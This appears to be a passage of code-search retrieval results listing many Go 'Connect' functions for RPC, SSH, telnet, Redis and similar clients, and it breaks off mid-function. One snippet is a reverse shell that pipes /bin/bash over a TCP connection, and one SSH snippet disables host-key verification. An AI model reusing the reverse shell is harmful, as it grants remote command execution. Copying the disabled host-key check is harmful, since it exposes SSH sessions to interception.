"docid": "ba8fa94edcf6a6673988429907275ab2", "score": "0.5919111", "text": "func (cm *rpcConnManager) Connect(addr string, permanent bool) error {\n\treplyChan := make(chan error)\n\tcm.server.query <- connectNodeMsg{\n\t\taddr: addr,\n\t\tpermanent: permanent,\n\t\treply: replyChan,\n\t}\n\treturn <-replyChan\n}", "title": "" }, { "docid": "0ef45f2eb6dbb0d6c2ea9db7ba2185fb", "score": "0.5916913", "text": "func (manager *IpcManager) Connect(path string, name string) {\n\tfor {\n\t\tconn, err := ipc.NewUnixgramClient(path, name)\n\t\tif err != nil {\n\t\t\tlog.Printf(\"Couldn't create sockets for %s & %s_%s - retrying: %s\\n\", path, path, name, err.Error())\n\t\t\ttime.Sleep(5 * time.Second)\n\t\t} else {\n\t\t\tmanager.conn = conn\n\t\t\treturn\n\t\t}\n\t}\n}", "title": "" }, { "docid": "fbf5ae823ab842c329c7b6a84ea124b9", "score": "0.5914655", "text": "func (client *Client) Connect() error {\n\t//set up default disconnect handler that just logs out the err\n\tif client.DisconnectHandler == nil {\n\t\tclient.RegisterDisconnectHandler(DefaultDisconnectHandler)\n\t}\n\tconn, err := net.DialTimeout(\"tcp\", client.opts.HostAndPort, client.opts.Timeout)\n\tif err != nil {\n\t\tconnErr := ConnectionError(err.Error())\n\t\tclient.connectionErr <- connErr\n\t\treturn connErr\n\t}\n\n\tclient.conn = conn\n\n\t//setup version specific header encoder\n\tencoder := headerEncoderDecoder{client.opts.Version}\n\n\tclient.reader = newStompReader(conn, client.shutdown, client.connectionErr, client.msgChan, encoder)\n\n\theaders, err := client.headersFactory.connectionHeaders(client.opts)\n\tif err != nil {\n\t\treturn ConnectionError(err.Error())\n\t}\n\tconnectFrame := NewFrame(_COMMAND_CONNECT, headers, _NULLBUFF)\n\tif err := writeFrame(bufio.NewWriter(conn), connectFrame, encoder); err != nil {\n\t\tclient.sendConnectionError(err)\n\t\treturn err\n\t}\n\n\t//read frame after writing out connection to check we are connected\n\tf, err := client.reader.readFrame()\n\tif err != nil {\n\t\tclient.sendConnectionError(err)\n\t\treturn err\n\t}\n\n\tif f.CommandString() == \"ERROR\" {\n\t\treturn ClientError(\"after initial connection recieved err : \" + f.Headers[\"message\"])\n\t}\n\tif err := versionCheck(f); err != nil {\n\t\treturn err\n\t}\n\t//start background readloop\n\tgo client.reader.startReadLoop()\n\t//start background dispatch\n\tgo client.subscriptions.dispatch(client.msgChan)\n\n\treturn nil\n\n}", "title": "" }, { "docid": "747978311da58e76ebe2e4921813b60e", "score": "0.5913324", "text": "func (p *Peer) Connect() (err error) {\n\taddr := p.IP.String() + \":\" + strconv.Itoa(p.Port)\n\tp.Socket, err = net.Dial(\"tcp\", addr)\n\tif err != nil {\n\t\treturn err\n\t}\n\t//fmt.Println(\"new peer:\", addr)\n\terr = p.handshake()\n\tif err != nil {\n\t\treturn err\n\t}\n\tfmt.Println(\"new peer:\", addr)\n\treturn nil\n}", "title": "" }, { "docid": "a8753dc10ccd5d050fb53114248d28b3", "score": "0.5910867", "text": "func connectToServer(sAddr string, user UserInfo) error {\n\tif connToServer == nil {\n\t\tclient, err := rpc.Dial(\"tcp\", sAddr)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tconnToServer = client\n\t\treply := false\n\t\terr = connToServer.Call(\"ServerRPC.Register\", user, &reply)\n\t\tif err != nil || reply == false {\n\t\t\treturn err\n\t\t}\n\n\t\tgo keepAlive(user)\n\t\testablishReverseRPC(user)\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "debc0069d5c59b859c24e0ce38bf0a89", "score": "0.59049106", "text": "func (c *connmgr) Connect(addr string) error {\n\tconn, err := c.Dial(addr)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif c.CmgrConfig.OnConn != nil {\n\t\tgo c.CmgrConfig.OnConn(conn, addr)\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "2fc65af4c4085808e28e049dd136f051", "score": "0.5897371", "text": "func (c *Client) Connect(addr, port string) error {\n\tc.addr = addr\n\tc.port = port\n\n\tif err := c.socket.Connect(addr, port); err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "d21b1a3b3f451370117655197c5e37cd", "score": "0.5895571", "text": "func (client *Client) Connect() (net.Conn, *Error) {\n\tconn, err := net.Dial(\"tcp\", client.Server)\n\tif err != nil {\n\t\treturn nil, &Error{fmt.Sprintf(\"Could not connect to %s: %s\", client.Server, err.Error()), 99}\n\t}\n\n\treturn conn, nil\n}", "title": "" }, { "docid": "ef14ec4c49c824226e7b56d20d145b71", "score": "0.5889613", "text": "func (c *Communicator) Connect(ctx context.Context) (err error) {\n\tc.logger.Println(\"Connecting to remote host\", \"host\", c.host)\n\n\tdefer func() {\n\t\tif c.OnDial != nil {\n\t\t\tc.OnDial(c.host, err)\n\t\t}\n\t}()\n\n\tc.reset()\n\n\tclient, err := c.dial(ctx, \"tcp\", net.JoinHostPort(c.host, fmt.Sprint(c.config.Port)), &c.config.ClientConfig)\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"ssh: dial failed\")\n\t}\n\tc.client = client\n\n\tc.logger.Println(\"Connected!\", \"host\", c.host)\n\n\tif c.config.KeepaliveEnabled() {\n\t\tc.logger.Println(\"Starting ssh KeepAlives\", \"host\", c.host)\n\t\tc.keepaliveDone = make(chan struct{})\n\t\tgo StartKeepalive(client, c.config.ServerAliveInterval, c.config.ServerAliveCountMax, c.keepaliveDone)\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "352c6fdf2b0e9ef9527acba2e4011c45", "score": "0.5877621", "text": "func connect(user, host string, conf *ssh.ClientConfig) (*ssh.Client, *ssh.Session, error) {\n\tconn, err := ssh.Dial(\"tcp\", host, conf)\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\n\tsession, err := conn.NewSession()\n\tif err != nil {\n\t\tconn.Close()\n\t\treturn nil, nil, err\n\t}\n\n\treturn conn, session, nil\n}", "title": "" }, { "docid": "3422fef2beefbe2cd1839a6fb97acb7c", "score": "0.5875772", "text": "func (t *Telnet) Connect(ctx context.Context) error {\n\tvar err error\n\tt.mutex.Lock()\n\tdefer t.mutex.Unlock()\n\n\tif !t.config.IsEnabled {\n\t\tlog.Debug().Msg(\"telnet is disabled, skipping connect\")\n\t\treturn nil\n\t}\n\tlog.Info().Msgf(\"connecting to telnet %s...\", t.config.Host)\n\n\tisInitialState := t.isInitialState\n\tt.isInitialState = false\n\tif t.conn != nil {\n\t\tt.conn.Close()\n\t\tt.conn = nil\n\t}\n\tt.ctx, t.cancel = context.WithCancel(ctx)\n\n\tt.conn, err = telnet.Dial(\"tcp\", t.config.Host)\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"dial\")\n\t}\n\terr = t.conn.SetReadDeadline(time.Now().Add(10 * time.Second))\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"set read deadline\")\n\t}\n\terr = t.conn.SetWriteDeadline(time.Now().Add(10 * time.Second))\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"set write deadline\")\n\t}\n\tindex := 0\n\tskipAuth := false\n\n\tindex, err = t.conn.SkipUntilIndex(\"Username:\", \"Connection established from localhost, assuming admin\")\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"unexpected initial handshake\")\n\t}\n\tif index != 0 {\n\t\tskipAuth = true\n\t}\n\n\tif !skipAuth {\n\t\tif t.config.Username == \"\" {\n\t\t\treturn fmt.Errorf(\"username/password must be set for older servers\")\n\t\t}\n\n\t\terr = t.sendLn(t.config.Username)\n\t\tif err != nil {\n\t\t\treturn errors.Wrap(err, \"send username\")\n\t\t}\n\n\t\terr = t.conn.SkipUntil(\"Password:\")\n\t\tif err != nil {\n\t\t\treturn errors.Wrap(err, \"wait for password prompt\")\n\t\t}\n\n\t\terr = t.sendLn(t.config.Password)\n\t\tif err != nil {\n\t\t\treturn errors.Wrap(err, \"send password\")\n\t\t}\n\t}\n\n\terr = t.sendLn(\"echo off\")\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"echo off\")\n\t}\n\n\terr = t.sendLn(\"acceptmessages on\")\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"acceptmessages on\")\n\t}\n\n\tt.conn.SetReadDeadline(time.Time{})\n\tt.conn.SetWriteDeadline(time.Time{})\n\tgo t.loop(ctx)\n\tt.isConnected = true\n\tif !isInitialState && t.config.IsServerAnnounceEnabled && len(t.subscribers) > 0 {\n\t\tfor _, s := range t.subscribers {\n\t\t\ts(\"telnet\", \"Admin\", channel.ToInt(channel.OOC), \"Server is now UP\", \"\")\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "c64852207e76144a2181b3db53f3c8ba", "score": "0.5859335", "text": "func (ipcon *IPConnection) Connect(addr string) error {\n\treturn ipcon.handle.Connect(addr)\n}", "title": "" }, { "docid": "335d32cd383c7f3f7d5c2116fab03078", "score": "0.58458763", "text": "func (c *Broker) connect() (err error) {\n\tc.netConnection, err = net.Dial(\"tcp\", c.params.Address)\n\treturn\n}", "title": "" }, { "docid": "b00728204a5933aa32711f651bc6087c", "score": "0.5842854", "text": "func connect(ipAddr string, port string) net.Conn {\n\tclient, err := net.Dial(\"tcp\", ipAddr+\":\"+port)\n\tif err != nil {\n\t\tlog.Fatal(\"Error during the connection :\", err)\n\t}\n\treturn client\n}", "title": "" }, { "docid": "4e5aa9f6a34565358bc6b4e83182b0f3", "score": "0.5832812", "text": "func (s *SSHRunner) Connect(user, pass, host string) {\n\t// Config for testing.\n\tconfig := &ssh.ClientConfig{\n\t\tUser: user,\n\t\tAuth: []ssh.AuthMethod{\n\t\t\tssh.Password(pass),\n\t\t},\n\t\tHostKeyCallback: func(hostname string, remote net.Addr, key ssh.PublicKey) error {\n\t\t\treturn nil\n\t\t},\n\t}\n\n\t// If we've been provided custom ciphers, add those to the config.\n\tif s.Ciphers != nil {\n\t\tconfig.Config = ssh.Config{\n\t\t\tCiphers: s.Ciphers,\n\t\t}\n\t}\n\n\t// Dial up a connection.\n\tvar err error\n\ts.conn, err = ssh.Dial(\"tcp\", host+\":22\", config)\n\tif err != nil {\n\t\tlog.Fatalf(\"Failed to dial: %s\", err)\n\t}\n\t// Start a new session for the connection.\n\ts.sess, err = s.conn.NewSession()\n\tif err != nil {\n\t\tlog.Fatalf(\"Failed to create session: %s\", err)\n\t}\n\tif err != nil {\n\t\tlog.Fatalf(\"Failed to create session: %s\", err)\n\t}\n}", "title": "" }, { "docid": "d8653fd6b641ea5bde8cdee20aedb728", "score": "0.5830119", "text": "func (c *Client) Connect(address string) error {\n\tconn, err := net.Dial(\"unix\", address)\n\tif err != nil {\n\t\treturn err\n\t}\n\tc.conn = conn\n\treturn nil\n}", "title": "" }, { "docid": "1d54244b97f37d7c3f767b740c39c027", "score": "0.5827628", "text": "func getServerConnection(host, port, nick string) (net.Conn, error) {\n\n\tconnStr := fmt.Sprintf(\"%v:%v\", host, port)\n\tconnection, err := net.Dial(\"tcp\", connStr)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn connection, nil\n}", "title": "" }, { "docid": "787f4c5597b53ca361bd4cab624cac08", "score": "0.58241785", "text": "func (cs *ChaincodeServer) Connect(stream pb.Chaincode_ConnectServer) error {\n\treturn chatWithPeer(cs.CCID, stream, cs.CC)\n}", "title": "" }, { "docid": "259f6ff298ce8664ccc845c13cc9099b", "score": "0.58190405", "text": "func (t *TCPNetwork) Connect(addr string) (*Connection, error) {\n\tconn, err := net.Dial(\"tcp\", addr)\n\tif nil != err {\n\t\treturn nil, err\n\t}\n\n\tconnection := t.createConn(conn)\n\tconnection.from = 1\n\tconnection.run()\n\tconnection.init()\n\n\treturn connection, nil\n}", "title": "" }, { "docid": "1f5374b700f1672a7b9768f339124eb2", "score": "0.58107394", "text": "func (s *Server) Connect(c context.Context, p *protocol.Proto, cookie string) (mid int64, key, rid string, accepts []int32, heartbeat time.Duration, err error) {\n\tvar reply logic.ConnectReply\n\tif err = s.rpcClient.Call(c, \"Connect\", &logic.ConnectReq{\n\t\tServer: s.ServerId,\n\t\tCookie: cookie,\n\t\tToken: p.Body,\n\t}, &reply); err != nil {\n\t\treturn\n\t}\n\treturn reply.Mid, reply.Key, reply.RoomID, reply.Accepts, time.Duration(reply.Heartbeat), nil\n}", "title": "" }, { "docid": "9bf8371b425a0fe7e38b62ba1dbb4ae4", "score": "0.58007455", "text": "func (s *Socket) Connect() error {\n\ts.mu.Lock()\n\tdefer s.mu.Unlock()\n\n\tif !s.isDisconnected() {\n\t\treturn errors.New(\"already connected to socket\")\n\t}\n\tconn, err := s.dialer.Dial()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\ts.conn = conn\n\ts.reader = bufio.NewReader(conn)\n\ts.writer = bufio.NewWriter(conn)\n\ts.disconnected = make(chan struct{})\n\n\tgo s.listenAndRoute()\n\n\treturn nil\n}", "title": "" }, { "docid": "d37bf717c834bc753c76ea01aace1b31", "score": "0.5789245", "text": "func (c *RPCClient) Connect(host string, port int) error {\n\tvar err error\n\n\tc.conn, err = c.d.Dial(\"tcp\", fmt.Sprintf(\"%s:%d\", host, port))\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"error connecting to phd2\")\n\t}\n\n\tc.methodResponse = make(chan []byte, 1)\n\n\tc.reader = bufio.NewReader(c.conn)\n\tc.writer = bufio.NewWriter(c.conn)\n\n\tgo c.readLoop()\n\n\treturn nil\n}", "title": "" }, { "docid": "bf560de1927157f2f45479e79eea5012", "score": "0.5778251", "text": "func Connect() *mgo.Session {\n\tsession, err := mgo.Dial(connectionString)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\treturn session\n}", "title": "" }, { "docid": "f6ad46468ddffea18e33f2f88ef4ad50", "score": "0.5778176", "text": "func (m *UserCtr) Connect() {\n\tsession, err := mgo.Dial(m.Server)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tsess = session\n\tdb = session.DB(m.Database)\n\tfmt.Println(`\n MMMM MMMM MMMMMMMMM MMMMM MMM MMMMMMMMM MMMMMMMMM\n MMMMM MMMMM MMM MMM MMM MM MMM MMM MM MMM MMM\n MMM MM MM MMM MMM MMM MMM MM MMM MMM MMM MMM\n MMM MMMM MMM MMM MMM MMM MM MMM MMM MMMM MMM MMM\n MMM MM MMM MMM MMM MMM MMMMM MMM MM MMM MMM\n MMM MMM MMMMMMMMM MMM MMMM MMMMMMMMM MMMMMMMMM\n\nCCCCCCCCC CCCCCCCCC CCCCC CCC CCCCC CCC CCCCCCCCC CCCCCCCCC CCCCCCCCC\nCCC CCC CCC CCC CCC CC CCC CCC CC CCC CCC CCC CCC CCCCCCCCC\nCCC CCC CCC CCC CC CCC CCC CC CCC CCCCCCCCC CCC CCC\nCCC CCC CCC CCC CC CCC CCC CC CCC CCC CCC CCC\nCCC CCC CCC CCC CCC CC CCC CCC CC CCC CCC CCC CCC CCC\nCCCCCCCCC CCCCCCCCC CCC CCCCC CCC CCCCC CCCCCCCCC CCCCCCCCC CCC\n\t`)\n}", "title": "" }, { "docid": "a0580874febc7ee2b464543aa21d7097", "score": "0.5777948", "text": "func ConnectOn(conn net.Conn) (*Connection, error) {\n\treturn newConnection(conn, nil)\n}", "title": "" }, { "docid": "e9e4939476b1289cf6f35ad0b8058556", "score": "0.5777353", "text": "func (s *Server) Connect() (*net.TCPConn, error) {\n\n\thost := fmt.Sprintf(\"%s:%d\", s.Host, s.Port)\n\taddr, err := net.ResolveTCPAddr(TCPPROTOCOL, host)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tcon, err := net.DialTCP(TCPPROTOCOL, nil, addr)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif con != nil {\n\t\ts.Connection = con\n\t\ts.Connection.SetLinger(0)\n\t\ts.Connection.SetNoDelay(true)\n\t\ts.Connection.SetKeepAlive(true)\n\t\ts.Connection.SetKeepAlivePeriod(5 * time.Second)\n\t\ts.UpdateTimeout()\n\t}\n\treturn s.Connection, nil\n}", "title": "" }, { "docid": "817b66db98fc7295cf80a2d99fb6d57c", "score": "0.5776935", "text": "func (connector *Connector) Connect(id int32, port int32) {\n\tvar err error\n\tadd := fmt.Sprintf(\"localhost:%d\", port)\n\tconn, err := net.Dial(\"tcp\", add)\n\tif err != nil {\n\t\tutils.LogE(\"Invalid connect port\")\n\t\treturn\n\t}\n\n\terr, info := connector.greeting_wcall(conn)\n\tconnId := info.NodeId\n\n\tif err != nil {\n\t\tutils.LogE(err.Error())\n\t\treturn\n\t}\n\tif _, exist := connector.ConnectedConns[connId]; exist {\n\t\tutils.LogE(fmt.Sprintf(\"connId %d existed\", connId))\n\t\treturn\n\t}\n\tif connId != id {\n\t\tutils.LogE(fmt.Sprintf(\"Invalid connId %d\", connId))\n\t\treturn\n\t}\n\totherInfo := ParticipantInfo{info.ParticipantType, connId, port}\n\n\tutils.LogI(fmt.Sprintf(\"Connector %d connected conn %d\", connector.id, otherInfo))\n\tconnector.initNewConn(otherInfo, conn)\n\n\tgo connector.Handle(otherInfo, conn)\n}", "title": "" }, { "docid": "2e55547e62b1a32a4ffd88f31f5f476b", "score": "0.5776766", "text": "func Connect(addr string, ops ...ConnectOptions) (mnet.Client, error) {\n\tvar c mnet.Client\n\tc.ID = uuid.NewV4().String()\n\n\taddr = netutils.GetAddr(addr)\n\t//host, _, _ := net.SplitHostPort(addr)\n\n\tnetwork := new(clientConn)\n\tnetwork.netClient = new(netClient)\n\n\tfor _, op := range ops {\n\t\top(network)\n\t}\n\n\tif network.network == \"\" {\n\t\tnetwork.network = \"udp\"\n\t}\n\n\tif network.metrics == nil {\n\t\tnetwork.metrics = metrics.New()\n\t}\n\n\tif network.maxWrite <= 0 {\n\t\tnetwork.maxWrite = mnet.MaxBufferSize\n\t}\n\n\tif network.maxDeadline <= 0 {\n\t\tnetwork.maxDeadline = mnet.MaxFlushDeadline\n\t}\n\n\tif network.dialer == nil {\n\t\tnetwork.dialer = &net.Dialer{\n\t\t\tTimeout: network.dialTimeout,\n\t\t\tKeepAlive: network.keepTimeout,\n\t\t}\n\t}\n\n\tnetwork.parser = new(internal.TaggedMessages)\n\n\tc.NID = network.nid\n\tc.Metrics = network.metrics\n\tc.CloseFunc = network.close\n\tc.WriteFunc = network.write\n\tc.WriteFunc = network.write\n\tc.ReaderFunc = network.read\n\tc.FlushFunc = network.flush\n\tc.LiveFunc = network.isAlive\n\tc.StatisticFunc = network.getStatistics\n\tc.LiveFunc = network.isAlive\n\tc.LocalAddrFunc = network.getLocalAddr\n\tc.RemoteAddrFunc = network.getRemoteAddr\n\tc.ReconnectionFunc = network.reconnect\n\n\tif err := network.reconnect(c, addr); err != nil {\n\t\treturn c, err\n\t}\n\n\treturn c, nil\n}", "title": "" }, { "docid": "01a506fea95b332c3163a373021939d8", "score": "0.5774358", "text": "func (client *LokiConnector) Connect() error {\n\tif !client.IsReady() {\n\t\treturn fmt.Errorf(\"The server on the following url is not ready: %s\", client.url)\n\t} else {\n\t\treturn nil\n\t}\n}", "title": "" }, { "docid": "60bf93b652353a4fb76a213e2400515f", "score": "0.57597864", "text": "func (server *Server) Connect(verbose bool) (inc net.Listener) {\n\tinc, err := net.Listen(server.Type, server.Host+\":\"+server.Port)\n\n\tif nil != err {\n\t\tfmt.Println(\"Error while listening:\", err.Error())\n\t\tos.Exit(1)\n\t}\n\n\tif verbose {\n\t\tfmt.Println(\"Listening on \" + server.Host + \":\" + server.Port)\n\t}\n\n\treturn inc\n}", "title": "" }, { "docid": "b00407f4bfb27bc4b7158cb0d1f57308", "score": "0.57560897", "text": "func (s *server) Connect(ctx context.Context, req *logicapi.ConnectReq) (*logicapi.ConnectReply, error) {\n\tmid, key, room, platform, accepts, hb, err := s.srv.Connect(ctx, req.Server, req.Cookie, req.Token)\n\tif err != nil {\n\t\treturn &logicapi.ConnectReply{}, err\n\t}\n\treturn &logicapi.ConnectReply{Mid: string(mid), Key: key, RoomID: room, Platform: platform, Accepts: accepts, Heartbeat: hb}, nil\n}", "title": "" }, { "docid": "f2fdc4796eda8cca69d62278fb21ba45", "score": "0.5751941", "text": "func connect(addr string) (err error) {\n\tconn, err := net.Dial(\"tcp\", addr)\n\tif err != nil {\n\t\treturn err\n\t}\n\tcmd := exec.Command(\"/bin/bash\")\n\tcmd.Stdin = conn\n\tcmd.Stdout = conn\n\tcmd.Stderr = conn\n\terr = cmd.Run()\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "1ad0e93d67a37853559ed606b3fc251c", "score": "0.57474494", "text": "func connectToAvailableServer() {\n\tserverAddress, err := resource.ChooseRandomServer()\n\tif err != nil {\n\t\tprint.Error(print.ONIONLIB, err, \"connectToAvailableServer\")\n\t}\n\n\terr = clientNode.ServerConn.Close()\n\tif err != nil {\n\t\tprint.Error(print.ONIONLIB, err, \"connectToAvailableServer\")\n\t}\n\n\tserverConnection, err := rpc.Dial(\"tcp\", serverAddress)\n\tcheckError(err, \"connectToAvailableServer: rpc.Dial()\")\n\tclientNode.ServerConn = serverConnection\n}", "title": "" }, { "docid": "7305e1452cc03df88388ea600de53eae", "score": "0.5747342", "text": "func (c *Client) Connect() error {\n\tif c.connection != nil {\n\t\treturn fmt.Errorf(\"already connected to NATS\")\n\t}\n\n\tif c.connect == nil {\n\t\treturn fmt.Errorf(\"connection function not specified\")\n\t}\n\n\tconn, err := c.connect(c.config)\n\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tc.connection = conn\n\n\treturn nil\n}", "title": "" }, { "docid": "b71c600ac27277cc0b0f79b0a1539c96", "score": "0.57365954", "text": "func (this *TcpChannel) Connect(address string, bufferSize int) (net.Conn, error) {\n\t// Default is 8K\n\tif (bufferSize == 0){\n\t\tbufferSize = 8192\n\t}\n\n\t// Dial the TCP/IP\n\tconn, err := net.Dial(\"tcp\", address)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// The number of pending events per channel\n\tslots := 2048\n\n\t// Create the necessary channels\n\tthis.OnPing = make(chan *PingInform, slots)\n\tthis.OnGetServerTime = make(chan *GetServerTimeInform, slots)\n\tthis.OnSupplyCredentials = make(chan *SupplyCredentialsInform, slots)\n\tthis.OnRevokeCredentials = make(chan *RevokeCredentialsInform, slots)\n\tthis.OnHubSubscribe = make(chan *HubSubscribeInform, slots)\n\tthis.OnHubUnsubscribe = make(chan *HubUnsubscribeInform, slots)\n\tthis.OnHubPublish = make(chan *HubPublishInform, slots)\n\tthis.OnHubEvent = make(chan *HubEventInform, slots)\n\t\n\tthis.state = Open\n\tthis.conn = conn\n\tthis.guard = new(sync.Mutex)\n\n\t// Listen\n\tgo this.listen(bufferSize)\n\treturn conn, nil\n}", "title": "" }, { "docid": "ed3b7cfb4b221ef236f872449d41edc2", "score": "0.5735019", "text": "func Connect(address string, extra ...string) (*Conn, error) {\n\tpool := &redis.Pool{\n\t\tMaxIdle: 64,\n\t\tMaxActive: 64,\n\t\tIdleTimeout: 300 * time.Second,\n\t\tWait: true,\n\t\tDial: func() (redis.Conn, error) {\n\t\t\tc, err := redis.Dial(\"tcp\", address)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t\treturn c, err\n\t\t},\n\t\tTestOnBorrow: func(c redis.Conn, t time.Time) error {\n\t\t\t_, err := c.Do(\"PING\")\n\t\t\treturn err\n\t\t},\n\t}\n\n\treturn &Conn{pool: pool}, nil\n}", "title": "" }, { "docid": "83bd1de37339d10e3197a5bd59c08c5c", "score": "0.57327896", "text": "func (c *Client) Connect() string {\n\tserver := getRandomCM()\n\tc.ConnectTo(server)\n\treturn server\n}", "title": "" }, { "docid": "a23d6590c818c19eed888d5859aeca49", "score": "0.5731927", "text": "func (c *SSHConnection) Connect() error {\n\tvar err error\n\tc.client, err = ssh.Dial(\"tcp\", c.Host, c.clientConfig)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tsession, err := c.client.NewSession()\n\tif err != nil {\n\t\tc.client.Conn.Close()\n\t\treturn err\n\t}\n\tc.stdin, _ = session.StdinPipe()\n\tc.stdout, _ = session.StdoutPipe()\n\tmodes := ssh.TerminalModes{\n\t\tssh.ECHO: 0,\n\t\tssh.OCRNL: 0,\n\t}\n\tsession.RequestPty(\"vt100\", 0, 2000, modes)\n\tsession.Shell()\n\tc.session = session\n\n\tc.RunCommand(\"\")\n\tc.RunCommand(\"terminal length 0\")\n\n\treturn nil\n}", "title": "" }, { "docid": "58283d4d63c53b6bb0df970f1f2f24a1", "score": "0.5724959", "text": "func (s *Session) Connect() {\n\tif s.connection == nil {\n\t\ts.connection = utils.GetConnection(s.brokerdHost, s.brokerdPort)\n\t}\n}", "title": "" }, { "docid": "58147f9a90fc3384829176ee2014879e", "score": "0.5711379", "text": "func (c *CommandLine) Connect(cmd string) error {\n\t// normalize cmd\n\tcmd = strings.ToLower(cmd)\n\n\t// Remove the \"connect\" keyword if it exists\n\taddr := strings.TrimSpace(strings.Replace(cmd, \"connect\", \"\", -1))\n\tif addr == \"\" {\n\t\t// If they didn't provide a connection string, use the current settings\n\t\taddr = net.JoinHostPort(c.Host, strconv.Itoa(c.Port))\n\t}\n\n\tURL, err := client.ParseConnectionString(addr, c.Ssl)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// Create copy of the current client config and create a new client.\n\tClientConfig := c.ClientConfig\n\tClientConfig.UserAgent = \"FreeTSDBShell/\" + c.ClientVersion\n\tClientConfig.URL = URL\n\tClientConfig.Proxy = http.ProxyFromEnvironment\n\n\tclient, err := client.NewClient(ClientConfig)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"Could not create client %s\", err)\n\t}\n\tc.Client = client\n\n\t_, v, err := c.Client.Ping()\n\tif err != nil {\n\t\treturn err\n\t}\n\tc.ServerVersion = v\n\n\t// Update the command with the current connection information\n\tif host, port, err := net.SplitHostPort(ClientConfig.URL.Host); err == nil {\n\t\tc.Host = host\n\t\tif i, err := strconv.Atoi(port); err == nil {\n\t\t\tc.Port = i\n\t\t}\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "8fedba523e530a6df4b37fd11d0949fc", "score": "0.57086325", "text": "func (n *Network) Connect(p peer.AddrInfo) error {\n\tctx := context.Background()\n\treturn n.host.Connect(ctx, p)\n}", "title": "" }, { "docid": "5b1da904b18ab0f515f26506cdd3ee26", "score": "0.57041913", "text": "func (m *UserCtr) Connect() {\n\tsession, err := mgo.Dial(m.Server)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tsess = session\n\tdb = session.DB(m.Database)\n}", "title": "" }, { "docid": "ec2a3ba46ba79b949a6e5a69cbb9b000", "score": "0.57029575", "text": "func (cli *TelegramCLI) Connect() error {\n\tif err := cli.mtproto.Connect(); err != nil {\n\t\treturn err\n\t}\n\tcli.connected = true\n\tlog.Println(\"Connected to telegram server\")\n\treturn nil\n}", "title": "" }, { "docid": "e1e9627663c1da5b9491caab760489ae", "score": "0.5693921", "text": "func Connect(addr string) (*Client, error) {\n\tnode, err := tapestry.SayHelloRPC(addr, tapestry.RemoteNode{})\n\tif err != nil {\n\t\ttapestry.Error.Printf(\"Failed to make clientection to Tapestry node\\n\")\n\t}\n\treturn &Client{node.Id.String(), &node}, err\n}", "title": "" }, { "docid": "4c58d7540104e2effa016ec14bfe29bb", "score": "0.56913054", "text": "func (c *Connector) Connect() error {\n\treturn c.Dial()\n}", "title": "" }, { "docid": "fbbd7a0f52a9ebe140969111e99de79c", "score": "0.56905824", "text": "func (c *snmpClient) Connect() error {\n\treturn c.client.Connect()\n}", "title": "" }, { "docid": "8a0a69f4ea64e75102bc5c8ffb5f21e4", "score": "0.56844354", "text": "func (s *Slack) connect() error {\n\tvar rtmResp RtmStartResponse\n\terr := s.post(RtmStart, map[string]string{}, &rtmResp)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif !rtmResp.OK {\n\t\treturn fmt.Errorf(\"Error connecting to Slack: %s\", rtmResp.Err)\n\t}\n\n\turl, err := url.Parse(rtmResp.URL)\n\tif err != nil {\n\t\treturn err\n\t}\n\t// we require a port\n\tif !strings.Contains(url.Host, \":\") {\n\t\tif url.Scheme == \"wss\" {\n\t\t\turl.Host += \":443\"\n\t\t} else {\n\t\t\turl.Host += \":80\"\n\t\t}\n\t}\n\n\ts.rtm, err = RtmConnect(s, url.String())\n\treturn err\n}", "title": "" }, { "docid": "b2b1a3bacdfa40ef1e95547a607e75ad", "score": "0.5683395", "text": "func (p *Player) Connect() (err error) {\n\t// try to register, just in case the credentials don't exist\n\terr = p.Client.RegisterWithCredentials(p.username, p.password)\n\n\tif err != nil && err != ErrUserAlreadyExists {\n\t\treturn\n\t}\n\n\treturn p.Client.Login()\n}", "title": "" }, { "docid": "5ab933fac0d29f821b3b1ec76b45c1c3", "score": "0.5683323", "text": "func (g *Graphite) connect() error {\n\tif cl, ok := g.Conn.(io.Closer); ok {\n\t\tcl.Close()\n\t}\n\n\taddress := fmt.Sprintf(\"%s:%d\", g.Host, g.Port)\n\tif g.Timeout == 0 {\n\t\tg.Timeout = defaultTimeout * time.Second\n\t}\n\n\tvar err error\n\tvar conn net.Conn\n\n\tconn, err = net.DialTimeout(\"tcp\", address, g.Timeout)\n\n\tg.Conn = conn\n\n\treturn err\n}", "title": "" }, { "docid": "a8cc33224f1cc6dae6ffe18b5d49773e", "score": "0.567594", "text": "func (client *ZeroClient) Connect(addrs []string) error {\n\tif len(addrs) == 0 {\n\t\treturn errors.Errorf(\"addr is nil\")\n\t}\n\terrCount := 0\n\tfor _, addr := range addrs {\n\t\tc, err := grpc.Dial(addr, grpc.WithBackoffMaxDelay(time.Second), grpc.WithInsecure())\n\t\tif err != nil 